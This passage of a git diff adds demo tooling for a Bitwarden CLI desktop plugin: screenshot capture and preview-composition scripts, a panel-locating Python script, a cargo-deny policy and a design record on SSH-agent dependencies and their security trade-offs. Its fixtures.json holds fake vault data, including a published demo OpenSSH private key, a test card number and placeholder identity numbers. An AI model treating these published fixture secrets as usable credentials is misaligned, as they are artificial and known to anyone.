"${QSBW_SSH_SETTLE:-4}" + shot 13-ssh-approval + # Deny it. Escape is the approval screen's own deny, so nothing is signed. + wtype -k Escape 2>/dev/null; sleep 1 + wait "$asker" 2>/dev/null || true + "${IPC[@]}" close >/dev/null 2>&1 || true +} + +# QSBW_ONLY_SSH=1 captures the approval shot alone. It is the only shot that +# depends on timing rather than on a keystroke, so it is the one that gets +# iterated on, and re-running the whole sequence to retake it costs a minute +# and five shells. +if [ -n "${QSBW_ONLY_SSH:-}" ]; then + start_shell unlocked + capture_ssh_approval + echo "done -> $OUT" + exit 0 +fi + +# --- logged out ------------------------------------------------------------- + +# No setup shot. The wizard appears only while a required tool is missing, and +# it watches for the install and moves on by itself the moment one lands. The +# fixture environment has every dependency -- that is what makes the rest of +# these shots work -- so the screen correctly advances straight past itself. +# Photographing it means deliberately hiding `jq` or `bw` from the shell's +# PATH, which breaks the vault reads every other shot depends on. +start_shell unauthenticated +"${IPC[@]}" open >/dev/null 2>&1; sleep 4 +shot 12-login +"${IPC[@]}" close >/dev/null 2>&1 || true + +# --- locked ----------------------------------------------------------------- + +start_shell locked +"${IPC[@]}" open >/dev/null 2>&1; sleep 4 +shot 11-locked +"${IPC[@]}" close >/dev/null 2>&1 || true + +# --- unlocked, populated vault ---------------------------------------------- + +start_shell unlocked +"${IPC[@]}" open >/dev/null 2>&1; sleep 4 +shot 01-vault-list + +# One of each item type the panel draws differently. A login has credentials +# and a TOTP; a card and an identity have the field blocks added in 1.7.0, and +# an identity is the one that shows the address as a single copyable block. +open_detail "GitHub" +shot 02-login-detail +wtype "e" 2>/dev/null; sleep 2 +shot 03-edit-item +wtype -k Escape 2>/dev/null; sleep 1 +clear_search + +open_detail "Demo Card" +shot 04-card-detail +clear_search + +open_detail "Dana Demo" +shot 05-identity-detail +clear_search + +wtype "f" 2>/dev/null; sleep 2 +shot 06-folder-drawer +wtype -k Escape 2>/dev/null; sleep 1 + +wtype "t" 2>/dev/null; sleep 2 +shot 07-type-filter +wtype -k Escape 2>/dev/null; sleep 1 + +wtype "g" 2>/dev/null; sleep 5 +shot 08-generator +wtype -k Escape 2>/dev/null; sleep 1 + +wtype -M alt -k s -m alt 2>/dev/null; sleep 3 +shot 09-sends +wtype -k Escape 2>/dev/null; sleep 1 + +wtype -M alt -k comma -m alt 2>/dev/null; sleep 3 +shot 10-settings + +"${IPC[@]}" close >/dev/null 2>&1 || true + +capture_ssh_approval + +echo "done -> $OUT" diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/demo/compose-preview.sh b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/compose-preview.sh new file mode 100644 index 0000000..6743c35 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/compose-preview.sh @@ -0,0 +1,198 @@ +#!/usr/bin/env bash +# Compose preview.png from the captured screenshots. +# +# The preview used to be assembled by hand, which meant adding a panel to it +# was an image-editing job and nobody could tell which screenshots a given +# preview.png was built from. This script is the recipe: run demo/capture.sh +# first, then this. +# +# ./demo/compose-preview.sh [screenshot-dir] [output] +# ./demo/compose-preview.sh --badge-only (reuse the cached base) +# +# The base -- panels and title, everything that comes from screenshots -- is +# cached beside the shots. Only the callout changes when a release wants a +# different phrase, and rebuilding six panels to redraw one banner made trying +# wordings slower than it needed to be. +# +# Everything it reads is fixture data by construction -- capture.sh only ever +# runs against demo/bin/bw and demo/fixtures.json -- so nothing here can put a +# real vault into a published image. +set -euo pipefail + +REPO="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" + +BADGE_ONLY=0 +args=() +for a in "$@"; do + case "$a" in + --badge-only) BADGE_ONLY=1 ;; + *) args+=("$a") ;; + esac +done +SHOTS="${args[0]:-$REPO/docs/screenshots}" +OUT="${args[1]:-$REPO/preview.png}" +BASE="$SHOTS/.preview-base.png" + +command -v magick >/dev/null || { echo "missing required tool: magick" >&2; exit 1; } + +# Sampled from the preview this replaces, so the rebuild is the same design +# rather than an approximation of it. +BG='#060400' +ACCENT='#F2A502' +TITLE='Bitwarden Vault Plugin' +# ImageMagick's own name for the face, which is not the fontconfig family +# name. `magick -list font` is the list it will accept; override if your +# machine names it differently. +FONT="${QSBW_PREVIEW_FONT:-CaskaydiaMono-NF-Bold}" +FONT_BODY="${QSBW_PREVIEW_FONT_BODY:-CaskaydiaMono-NF-Regular}" + +# The callout that fills the empty corner under the first column. It is the +# one element here that is not a screenshot, so it borrows the panels' own +# vocabulary -- same accent, same square border, same black ground -- and +# earns its place by naming what the release added. +# Set either from the environment to try a phrase without touching the file: +# QSBW_BADGE_TITLE='SSH Agent Support' ./demo/compose-preview.sh --badge-only +BADGE_KICKER="${QSBW_BADGE_KICKER:-NEW}" +BADGE_TITLE="${QSBW_BADGE_TITLE:-Cards & Identities}" +# Filled with the accent and lettered in the page's own black, rather than +# outlined like the panels. A seventh accent-bordered rectangle read as one +# more screenshot; this cannot be mistaken for one. +BADGE_FG="$BG" +BADGE_BG="$ACCENT" +# Width kept clear at the right of the title band for the callout. The page +# title is centred in what is left rather than in the whole width, so the gap +# between the two does not depend on how long the badge phrase happens to be +# -- and a badge that outgrows this is told to shrink rather than silently +# shunting into the title. +BADGE_ZONE=640 +GAP=28 # between panels, and around the whole thing +TITLE_SIZE=96 + +# Three columns, top to bottom. The vault list carries the folder drawer +# because that shot shows both at once; the plain list would be redundant +# beside it. +# A selection, not the whole set. capture.sh takes a shot of every screen so +# the documentation has one; this picks the handful that say what the plugin +# is at a glance, and leaves out the ones that look like every other panel's +# equivalent (login, setup, locked, the filter drawers). +# +# Grouped to keep the three columns near the same height -- the page is as tall +# as its tallest column, and an unbalanced one leaves a corner of empty black. +COL1=(01-vault-list 08-generator) +COL2=(04-card-detail 09-sends) +COL3=(10-settings 13-ssh-approval) + +# Not `magick ... | grep -q`: grep exits on the first match, magick takes a +# SIGPIPE for it, and `set -o pipefail` reports the successful match as a +# failed pipeline. +grep -qx " Font: $FONT" <<<"$(magick -list font)" || { + echo "magick does not know the font '$FONT'." >&2 + echo "Pick one from \`magick -list font\` and set QSBW_PREVIEW_FONT." >&2 + exit 1 +} + +column() { # column ... + local files=() f + for f in "$@"; do + if [ -f "$SHOTS/$f.png" ]; then files+=("$SHOTS/$f.png") + else echo " missing $f.png, leaving it out" >&2; fi + done + [ ${#files[@]} -gt 0 ] || { echo "no screenshots for a column" >&2; exit 1; } + # -background so the gap between stacked panels is the page colour, not white. + magick "${files[@]}" -background "$BG" -gravity north -splice "0x${GAP}" \ + -append -chop "0x${GAP}" miff:- +} + +work="$(mktemp -d)"; trap 'rm -rf "$work"' EXIT + +if [ "$BADGE_ONLY" = 1 ]; then + [ -f "$BASE" ] || { echo "no cached base at $BASE; run without --badge-only first" >&2; exit 1; } + cp "$BASE" "$work/page.png" +else + column "${COL1[@]}" > "$work/c1.miff" + column "${COL2[@]}" > "$work/c2.miff" + column "${COL3[@]}" > "$work/c3.miff" + + # Columns side by side, each hung from the top. The gravity has to be north + # for the append itself: +append centres shorter images vertically unless told + # otherwise, which left the third column floating in the middle of the page. + magick "$work/c1.miff" "$work/c2.miff" "$work/c3.miff" \ + -background "$BG" -gravity west -splice "${GAP}x0" \ + -gravity north +append -chop "${GAP}x0" "$work/panels.png" + + magick "$work/panels.png" \ + -background "$BG" \ + -gravity south -splice "0x${GAP}" \ + -gravity west -splice "${GAP}x0" \ + -gravity east -splice "${GAP}x0" \ + "$work/framed.png" + + # The title as its own image, the width of the page, rather than annotated on + # to it. `-annotate` with a gravity places from an origin this composition + # keeps moving, and the text ended up off the left edge; a label of a known + # size cannot land anywhere but where it is appended. + WIDTH="$(magick identify -format '%w' "$work/framed.png")" + magick -background "$BG" -fill "$ACCENT" -font "$FONT" \ + -pointsize "$TITLE_SIZE" label:"$TITLE" "$work/title-text.png" + magick "$work/title-text.png" -background "$BG" -gravity center \ + -extent "$((WIDTH - BADGE_ZONE))x$((TITLE_SIZE * 2))" \ + -gravity east -splice "${BADGE_ZONE}x0" "$work/title.png" + + # -depth 8: the label pushes the pipeline to 16-bit, which triples the file + # size of a flat-colour image for nothing a viewer can see. + magick "$work/title.png" "$work/framed.png" -background "$BG" -append \ + "$work/page.png" + + cp "$work/page.png" "$BASE" + # The callout straddles the bottom of the title band, which a badge-only run + # has no way to measure -- the pieces are gone by then. Record it. + magick identify -format '%h' "$work/title.png" > "$BASE.anchor" +fi +[ -f "$BASE.anchor" ] || { echo "no anchor beside $BASE; rebuild the base" >&2; exit 1; } +TITLE_H="$(cat "$BASE.anchor")" + +# --- the callout ------------------------------------------------------------ +# +# Drawn as its own image and composited, rather than annotated on to the page: +# it overlaps the panel above it by design, and a composite is the only way to +# put something over a region that already has pixels in it. +# No -size here: `label:` with an explicit size scales the text to fill it, +# which turned a 34pt kicker into a 500pt "NEW" across the whole badge. The +# point size governs, and the padding is added afterwards. +magick -background "$BADGE_BG" -fill "$BADGE_FG" \ + -font "$FONT" -pointsize 26 -interword-spacing 10 \ + label:"$BADGE_KICKER" "$work/kicker.png" +magick -background "$BADGE_BG" -fill "$BADGE_FG" \ + -font "$FONT" -pointsize 44 label:"$BADGE_TITLE" "$work/badge-title.png" + +# A solid block, not an outline: the panels are all accent-bordered rectangles +# on black, so one more of those disappears among them. Inverting it -- accent +# ground, black letters -- is what makes it read as a label on the image +# rather than a part of it. +magick "$work/kicker.png" "$work/badge-title.png" \ + -background "$BADGE_BG" -gravity west -append \ + -bordercolor "$BADGE_BG" -border 22 \ + "$work/badge.png" + +# Top right: the title is centred, so the corner beside it is empty, and +# hanging the badge below the band's edge lets it clip the first panel of the +# third column -- which is what keeps it looking placed rather than laid out. +PAGE_W="$(magick identify -format '%w' "$work/page.png")" +BADGE_BW="$(magick identify -format '%w' "$work/badge.png")" +BADGE_BH="$(magick identify -format '%h' "$work/badge.png")" +BADGE_X=$((PAGE_W - BADGE_BW - GAP)) +# Centred in the title band rather than overlapping anything. The two +# neighbours here are both load-bearing -- the page title to its left and the +# panel header below it -- and dipping into either one cost more than the +# overlap was worth. +BADGE_Y=$(((TITLE_H - BADGE_BH) / 2)) + +if [ "$BADGE_BW" -gt "$((BADGE_ZONE - GAP))" ]; then + echo " warning: the badge is wider than the ${BADGE_ZONE}px reserved for it" >&2 + echo " and will crowd the page title. Shorten the phrase or raise BADGE_ZONE." >&2 +fi + +magick "$work/page.png" "$work/badge.png" -geometry "+${BADGE_X}+${BADGE_Y}" \ + -composite -depth 8 -strip "$OUT" + +magick identify "$OUT" diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/demo/find_panel.py b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/find_panel.py new file mode 100644 index 0000000..6062fe8 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/find_panel.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python3 +"""Locate the plugin panel in a screenshot by its accent border. + +Trimming to "any accent-coloured pixel" is not enough: the compositor draws the +focused window's border in the same accent, so a trim swallows whatever sits +behind the panel. The panel is instead found as a filled rectangle -- four +borders enclosing a region -- and the largest such rectangle is returned. + +The accent itself is read out of the image rather than hardcoded. It is a theme +colour, so a hardcoded value silently stops matching the day the operator +changes themes -- which is exactly how this last failed, with every shot +reported as "could not locate the panel border" and no hint as to why. + + find_panel.py [--accent RRGGBB] -> "WxH+X+Y" on stdout +""" +import sys +from collections import Counter +from PIL import Image + +# Enough slack for antialiasing and the border's own gradient, not enough to +# merge two distinct theme colours. +TOLERANCE = 26 +# The panel is wider than any window border is thick. +MIN_RUN = 260 + + +def close(px, target, tol=TOLERANCE): + return all(abs(px[i] - target[i]) <= tol for i in range(3)) + + +def candidate_accents(img, limit=6): + """Saturated colours in the image, most common first. + + The panel border is a solid run of one theme colour, so it is always among + the most common saturated pixels. Returning several candidates means a + highlighted row or a colourful wallpaper cannot derail the search. + """ + w, h = img.size + px = img.load() + counts = Counter() + for y in range(0, h, 2): + for x in range(0, w, 2): + r, g, b = px[x, y] + if max(r, g, b) > 110 and (max(r, g, b) - min(r, g, b)) > 60: + counts[(r, g, b)] += 1 + + accents = [] + for colour, _ in counts.most_common(): + # Skip anything already covered by a candidate we kept. + if any(close(colour, kept) for kept in accents): + continue + accents.append(colour) + if len(accents) >= limit: + break + return accents + + +def find_box(img, accent): + w, h = img.size + px = img.load() + + # Rows that contain a long horizontal run of accent pixels are candidate + # top/bottom borders. + runs = {} # row -> (start, end) of its longest accent run + for y in range(h): + best = (0, 0, 0) + run_start, run_len = None, 0 + for x in range(w): + if close(px[x, y], accent): + if run_start is None: + run_start = x + run_len += 1 + else: + if run_len > best[0]: + best = (run_len, run_start, x - 1) + run_start, run_len = None, 0 + if run_len > best[0]: + best = (run_len, run_start, w - 1) + if best[0] >= MIN_RUN: + runs[y] = (best[1], best[2]) + + if not runs: + return None + + # Pair each top edge with the furthest bottom edge sharing its extent, and + # keep the tallest rectangle: that is the panel, not a window border. + best_box = None + ys = sorted(runs) + for i, top in enumerate(ys): + x0, x1 = runs[top] + for bottom in reversed(ys[i + 1:]): + bx0, bx1 = runs[bottom] + if abs(bx0 - x0) <= 4 and abs(bx1 - x1) <= 4 and bottom - top > 120: + box = (x1 - x0 + 1, bottom - top + 1, x0, top) + if best_box is None or box[0] * box[1] > best_box[0] * best_box[1]: + best_box = box + break + + return best_box + + +def main(): + path = sys.argv[1] + img = Image.open(path).convert("RGB") + + if "--accent" in sys.argv: + h = sys.argv[sys.argv.index("--accent") + 1].lstrip("#") + accents = [tuple(int(h[i:i+2], 16) for i in (0, 2, 4))] + else: + accents = candidate_accents(img) + + if not accents: + sys.exit("no saturated colour in the image to use as an accent") + + for accent in accents: + box = find_box(img, accent) + if box: + print("%dx%d+%d+%d" % box) + return + + tried = ", ".join("#%02X%02X%02X" % a for a in accents) + sys.exit("no enclosed rectangle found (tried %s)" % tried) + + +if __name__ == "__main__": + main() diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/demo/fixtures.json b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/fixtures.json new file mode 100644 index 0000000..35b719d --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/fixtures.json @@ -0,0 +1,290 @@ +{ + "status": { + "serverUrl": "https://vault.bitwarden.com", + "lastSync": "2026-08-21T10:00:00.000Z", + "userEmail": "demo@example.com", + "userId": "00000000-0000-0000-0000-000000000000", + "status": "unlocked" + }, + "folders": [ + { + "object": "folder", + "id": "f-infra", + "name": "Infrastructure" + }, + { + "object": "folder", + "id": "f-fin", + "name": "Finance" + }, + { + "object": "folder", + "id": "f-social", + "name": "Social" + } + ], + "organizations": [ + { + "object": "organization", + "id": "org-acme", + "name": "Acme Corp", + "status": 2 + } + ], + "items": [ + { + "object": "item", + "id": "i1", + "organizationId": null, + "folderId": "f-social", + "type": 1, + "name": "GitHub", + "favorite": true, + "login": { + "username": "demo-user", + "password": "hunter2-not-real", + "totp": "otpauth://totp/demo", + "uris": [ + { + "uri": "https://github.com" + } + ] + } + }, + { + "object": "item", + "id": "i2", + "organizationId": null, + "folderId": "f-social", + "type": 1, + "name": "Reddit", + "favorite": false, + "login": { + "username": "demo-user", + "password": "placeholder", + "totp": null, + "uris": [ + { + "uri": "https://reddit.com" + } + ] + } + }, + { + "object": "item", + "id": "i3", + "organizationId": "org-acme", + "folderId": "f-infra", + "type": 1, + "name": "Acme VPN", + "favorite": false, + "login": { + "username": "d.demo@example.com", + "password": "placeholder", + "totp": "otpauth://totp/demo", + "uris": [ + { + "uri": "https://vpn.acme.example" + } + ] + }, + "attachments": [ + { + "object": "attachment", + "id": "a3", + "fileName": "acme-vpn.ovpn", + "size": "8192", + "sizeName": "8 KB", + "url": "https://example.invalid/a3" + } + ] + }, + { + "object": "item", + "id": "i4", + "organizationId": null, + "folderId": "f-infra", + "type": 1, + "name": "Home Assistant", + "favorite": true, + "login": { + "username": "admin", + "password": "placeholder", + "totp": null, + "uris": [ + { + "uri": "https://homeassistant.local:8123" + } + ] + } + }, + { + "object": "item", + "id": "i5", + "organizationId": null, + "folderId": "f-fin", + "type": 1, + "name": "Example Bank", + "favorite": false, + "login": { + "username": "demo-user", + "password": "placeholder", + "totp": "otpauth://totp/demo", + "uris": [ + { + "uri": "https://bank.example.com" + } + ] + } + }, + { + "object": "item", + "id": "i6", + "organizationId": null, + "folderId": null, + "type": 2, + "name": "Recovery Codes", + "favorite": false, + "notes": "Placeholder note. No real data here.", + "secureNote": { + "type": 0 + }, + "attachments": [ + { + "object": "attachment", + "id": "a1", + "fileName": "recovery-codes.txt", + "size": "412", + "sizeName": "412 B", + "url": "https://example.invalid/a1" + }, + { + "object": "attachment", + "id": "a2", + "fileName": "backup-key.pem", + "size": "3204", + "sizeName": "3.13 KB", + "url": "https://example.invalid/a2" + } + ] + }, + { + "object": "item", + "id": "i7", + "organizationId": null, + "folderId": "f-fin", + "type": 3, + "name": "Demo Card", + "favorite": false, + "card": { + "cardholderName": "D. Demo", + "brand": "Visa", + "number": "4111111111111111", + "expMonth": "12", + "expYear": "2030", + "code": "123" + } + }, + { + "object": "item", + "id": "i8", + "organizationId": "org-acme", + "folderId": "f-infra", + "type": 1, + "name": "Acme Grafana", + "favorite": false, + "login": { + "username": "d.demo@example.com", + "password": "placeholder", + "totp": null, + "uris": [ + { + "uri": "https://grafana.acme.example" + } + ] + } + }, + { + "object": "item", + "id": "i9", + "organizationId": null, + "folderId": null, + "type": 4, + "name": "Dana Demo", + "favorite": false, + "identity": { + "title": "Ms", + "firstName": "Dana", + "middleName": "R", + "lastName": "Demo", + "username": "danademo", + "company": "Example Industries", + "email": "demo@example.com", + "phone": "+1 555 0100", + "ssn": "000-00-0000", + "passportNumber": "X1234567", + "licenseNumber": "D-0000-0000", + "address1": "1 Example Way", + "address2": "Suite 200", + "address3": "", + "city": "Springfield", + "state": "IL", + "postalCode": "62701", + "country": "US" + } + }, + { + "object": "item", + "id": "i-ssh-1", + "organizationId": null, + "folderId": "f-infra", + "type": 5, + "name": "Demo Deploy Key", + "notes": null, + "favorite": false, + "collectionIds": [], + "reprompt": 0, + "revisionDate": "2026-08-20T10:00:00.000Z", + "creationDate": "2026-08-20T10:00:00.000Z", + "sshKey": { + "privateKey": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACBGTamxk2fLE7NZekQoaoQkLjAbzaNDSJrO8clPlNnoXAAAAJhQ/dXxUP3V\n8QAAAAtzc2gtZWQyNTUxOQAAACBGTamxk2fLE7NZekQoaoQkLjAbzaNDSJrO8clPlNnoXA\nAAAEAqEDoJ+o48bC8qt9agrYLugGkX0IjZdM/iT5kK0Q0BGUZNqbGTZ8sTs1l6RChqhCQu\nMBvNo0NIms7xyU+U2ehcAAAAEGRlbW9AZXhhbXBsZS5jb20BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", + "publicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZNqbGTZ8sTs1l6RChqhCQuMBvNo0NIms7xyU+U2ehc demo@example.com", + "keyFingerprint": "SHA256:WJN+07USrkd8tFp3vVJBXAjwolWfskqqzl+UPp5GH30" + } + } + ], + "sends": [ + { + "object": "send", + "id": "s1", + "name": "Wifi password for guests", + "type": 0, + "accessUrl": "https://vault.bitwarden.com/#/send/demo1", + "accessCount": 1, + "maxAccessCount": 5, + "deletionDate": "2026-08-24T10:00:00.000Z", + "passwordSet": true, + "disabled": false, + "text": { + "text": "placeholder", + "hidden": true + } + }, + { + "object": "send", + "id": "s2", + "name": "Onboarding checklist", + "type": 0, + "accessUrl": "https://vault.bitwarden.com/#/send/demo2", + "accessCount": 0, + "maxAccessCount": null, + "deletionDate": "2026-08-28T10:00:00.000Z", + "passwordSet": false, + "disabled": false, + "text": { + "text": "placeholder", + "hidden": false + } + } + ] +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/deny.toml b/plugins/io.github.elevate08.qs-bitwarden-cli/deny.toml new file mode 100644 index 0000000..1e137dd --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/deny.toml @@ -0,0 +1,65 @@ +# Dependency policy for the SSH agent helper. +# +# This binary holds decrypted private keys. Its dependency tree was reviewed +# once, deliberately and in writing, in docs/decisions/0001-ssh-agent-dependencies.md; +# this file is what stops that review going stale between releases. Anything +# it rejects is a prompt to think, not a rule to route around. + +[graph] +targets = ["x86_64-unknown-linux-gnu"] +# Only what the release actually compiles. Auditing features this build never +# enables produces findings nobody can act on. +all-features = false + +[advisories] +# Every RustSec advisory is a build failure, with one documented exception. +yanked = "deny" +ignore = [ + # RUSTSEC-2023-0071: Marvin, a timing sidechannel in `rsa`'s private-key + # operations. Unpatched upstream -- there is no fixed release to move to. + # + # Accepted for the reasons recorded in the Task 4 ADR: the attack needs + # accurate timing of many private-key operations from the attacker's own + # observations, and this helper signs only after an explicit human approval + # or inside a short grant, over a same-UID socket. An attacker positioned to + # farm timings from it is already a same-UID process on an unlocked desktop, + # which the threat model does not defend against by design. + # + # Revisit when `rsa` publishes a fix, or if Ed25519-only becomes acceptable. + { id = "RUSTSEC-2023-0071", reason = "no upstream fix; see docs/decisions/0001-ssh-agent-dependencies.md" }, +] + +[licenses] +# Permissive only. A copyleft dependency in a binary this repository ships +# would change the plugin's own distribution terms, which is a decision for a +# human rather than a dependency bump. +allow = [ + "MIT", + "Apache-2.0", + "Apache-2.0 WITH LLVM-exception", + "BSD-2-Clause", + "BSD-3-Clause", + "ISC", + "Unicode-3.0", + "Zlib", +] +confidence-threshold = 0.9 + +[bans] +# Duplicate major versions of one crate mean two copies compiled in. For a +# crypto dependency that also means two implementations, one of which nobody +# audited. Warn rather than deny: transitive duplicates are common and often +# outside our control, but they should be visible in the log. +multiple-versions = "warn" +wildcards = "deny" +# Nothing here should reach for the network or spawn processes; both would +# contradict the design's claim that the helper has exactly three inputs. +deny = [] + +[sources] +# Only crates.io. A git dependency is a moving target that no lockfile review +# can meaningfully cover, and this binary is committed as bytes. +unknown-registry = "deny" +unknown-git = "deny" +allow-registry = ["https://github.com/rust-lang/crates.io-index"] +allow-git = [] diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0001-ssh-agent-dependencies.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0001-ssh-agent-dependencies.md new file mode 100644 index 0000000..394cbde --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0001-ssh-agent-dependencies.md @@ -0,0 +1,242 @@ +# 0001: Rust dependencies for the SSH-agent companion + +- Status: accepted +- Date: 2026-08-27 +- Task: 4 of `tasks/todo.md` +- Supersedes: the dependency assumptions in `docs/ideas/ssh-agent.md` + +## Context + +The companion holds decrypted SSH private keys for as long as the vault is +unlocked and signs with them on request. Every crate in its dependency tree is +therefore in the blast radius of a private-key compromise, and the crate set is +also what the reproducible build (Task 16) pins byte for byte. + +`docs/ideas/ssh-agent.md` named RustCrypto's `ssh-key` as a candidate and told +this task to re-verify every claim at spike time rather than trust the idea +document's review date. That was the right instruction: two of its assumptions +did not survive contact with the released crates. + +Sources were checked on 2026-08-27 against crates.io, the published crate +sources in the local registry, the projects' own repositories, and the RustSec +advisory database. + +## Decision + +The companion is built from the following crates, all pinned in +`agent/Cargo.lock` and all MIT or Apache-2.0 except where noted. + +| Crate | Version | Role | Why this one | +| --- | --- | --- | --- | +| `ssh-key` | 0.6.7 | Key parsing, public blobs, fingerprints, Ed25519 signing | Maintained by RustCrypto, ~4M recent downloads, no advisories. Default features off, so ECDSA, DSA, and OpenSSH key encryption never compile in. | +| `ssh-encoding` | 0.2 | Wire primitives for the frame decoder | Same project, the version `ssh-key` already uses. | +| `ed25519-dalek` | 2.2 | Ed25519 backend | Not called directly. Declared to enable its `zeroize` feature — see below. BSD-3-Clause. | +| `rsa` | 0.9.10 | RSA private keys and PKCS#1 v1.5 signing | Required directly for both RSA SHA-2 algorithms — see below. | +| `sha2` | 0.10 | SHA-256/512 for the two RSA algorithms | Already in the tree via `ssh-key`. | +| `signature` | 2 | `Signer`/`Verifier` traits | The traits `ssh-key` and `rsa` sign through. | +| `zeroize` | 1.9 | `Zeroizing>` for PEM text and FIFO payloads | The standard, and what every crypto crate here already zeroizes through. | +| `tokio` | 1.53 | Current-thread runtime, `UnixListener`, timers, bounded channels | `net` also carries `peer_cred()`, which is how the same-UID check is made — no separate crate needed for `SO_PEERCRED`. | +| `rustix` | 1.1 | `RLIMIT_CORE=0`, `PR_SET_DUMPABLE=0` | Maintained, no advisories, and avoids a bare `libc` unsafe block for the two calls that must happen before the first secret is read. | +| `serde`, `serde_json` | 1 | The NDJSON control channel on stdin/stdout | The format the panel already speaks. | + +That is 63 crates in the runtime graph. `cargo test --locked`, `cargo build +--locked`, `cargo fmt --check`, and `cargo clippy --all-targets -D warnings` +all pass on `x86_64-unknown-linux-gnu` with no vault, no network, and no +socket involved. + +### Ed25519 secret memory needs a feature `ssh-key` does not ask for + +The spike's pass/fail criterion was whether private components can be erased +on drop. For the representations `ssh-key` owns, they are: `Ed25519PrivateKey` +and `RsaPrivateKey` both zeroize their fields in `Drop`, and `Mpint` zeroizes +its backing `Vec`. + +The gap is one level down. `ssh-key` builds a transient +`ed25519_dalek::SigningKey` for each Ed25519 signature, and it depends on +`ed25519-dalek` with `default-features = false` without requesting `zeroize`. +Dalek implements `ZeroizeOnDrop` for `SigningKey` only behind that feature, so +as `ssh-key` configures it, each signature leaves 32 secret bytes in freed +memory. + +This crate therefore names `ed25519-dalek` as a direct dependency for that +feature alone. Cargo's feature unification turns the impl on for every copy in +the graph, including the ones `ssh-key` constructs. `rsa` needs no equivalent: +its `RsaPrivateKey` zeroizes unconditionally, and it enables `num-bigint-dig`'s +`zeroize` feature itself. + +Because this property comes from feature resolution rather than from anything +visible in this crate's source, it is asserted at compile time — +`assert_zeroize_on_drop::()` in `src/lib.rs`, called on both types in a +test. Removing the dalek dependency does not weaken the build quietly; it +stops it. + +Declaring a dependency to enable one of its features is a normal use of Cargo's +feature unification: it changes configuration, not code. Bitwarden's desktop +agent solves the same problem far more heavily, with a `secure_memory` crate +that keeps key material in `memsec` locked allocations, encrypted under AES-GCM +with the key held in the Linux kernel keyring (DPAPI on Windows) and decrypted +only for use. That is a stronger guarantee and a much larger surface; it is +worth revisiting at Task 6 if the keystore review finds zeroize-on-drop +insufficient, not before. + +### `ssh-key` 0.6.7 cannot sign with RSA at all + +`ssh-key` 0.6.7's `TryFrom<&RsaKeypair> for rsa::RsaPrivateKey` passes +`key.private.p` twice where `from_components` expects `p` and `q` +(`ssh-key-0.6.7/src/private/rsa.rs:192`). The resulting key fails validation, +so every RSA signature through `ssh-key` returns an opaque error. The fix is on +the project's master branch; it is not in any release. 0.6.7 is from October +2024 and the 0.7 line has been in release candidates since 2025 — rc.11 landed +in June 2026 — so there is no stable release with a working RSA path. + +Three options: ship a release candidate of a security dependency, drop RSA from +v1, or construct the private key here. This crate constructs it here +(`rsa_keys::private_key`): a dozen lines against `rsa`'s stable API, no fork +and no `[patch]` section, deleted the day a fixed release exists. A test +asserts that `ssh-key`'s own RSA signing still fails, so the workaround cannot +outlive its reason without someone noticing. + +The same module owns SHA-2 algorithm selection, which is needed regardless of +that bug: `ssh-key`'s `Signer` impl for RSA hardcodes SHA-512, while +`rsa-sha2-256` and `rsa-sha2-512` are distinct signature algorithms chosen by +flags on the sign request. Answering with the wrong one is a failed +authentication, not a fallback. + +Nothing here is a modified, forked, vendored, or pre-release dependency. Both +crates are current stable releases from crates.io, and `rsa_keys::private_key` +is ordinary code in this crate calling `rsa::RsaPrivateKey::from_components` — +the same public API `ssh-key` calls internally, with `q` where `ssh-key` +repeats `p`. + +#### Why not let ssh-key build the key, as Bitwarden does + +Bitwarden's own desktop agent (`apps/desktop/desktop_native/ssh_agent`, the v2 +rebuild that replaced the deprecated `bitwarden-russh` fork) reaches the same +two conclusions this decision does: it pins `ssh-key` at exactly 0.6.7 with no +`[patch]` section, implements the agent protocol itself rather than taking a +protocol crate, and depends on `rsa` directly to build the SHA-256 signing key +`ssh-key` cannot produce. + +Where it differs is that it lets `ssh-key` perform the keypair conversion, and +that works only because its lockfile pins `rsa` **0.9.6**. In 0.9.6, +`from_components` validates only when it had to recover the primes itself, so a +key with `p` supplied twice is accepted. Verified against both releases: on +0.9.6 the resulting key holds two identical primes, CRT precomputation fails +silently, `validate()` returns `InvalidModulus`, and signatures still verify +because signing falls back to the plain `d`/`n` path. From 0.9.7 onward +validation is unconditional and the same call returns an error — which in +Bitwarden's `sign_rsa` is an `.expect()`. + +So the alternative to `rsa_keys` is to pin an older `rsa` and sign with a +private key that fails its own `validate()`. This crate would rather hold a +correct key on the current release. + +### The agent protocol is implemented here, not taken from a crate + +`ssh-agent-lib` 0.6.0 (May 2026) is maintained and well used, and it was the +obvious candidate. Its framing codec does not bound the frame length: it reads +a `u32` and waits for that many bytes, returning `Ok(None)` until they arrive +(`ssh-agent-lib-0.6.0/src/codec.rs`). A same-UID client can therefore make the +agent buffer toward 4 GiB, which is the opposite of this design's requirement +that frames over 256 KiB be rejected outright. + +Its `Session` trait also spans the whole message set, while this agent +answers exactly two requests and refuses everything else, and it wraps the +listener in a way that puts `SO_PEERCRED` and the approval gate further from +the accept path than a security review wants them. + +So Task 5 implements an allowlisted decoder directly on `ssh-encoding`, as +`tasks/todo.md` already assumed. RFC 9987 (Standards Track, May 2026) is now +the normative reference for the wire format, which is a better position than +this project would have been in a year ago. `ssh-agent-lib` remains a useful +cross-check for message encoding during Task 5. + +`bitwarden-russh` is confirmed deprecated by its own README, and Bitwarden's +v2 agent is an 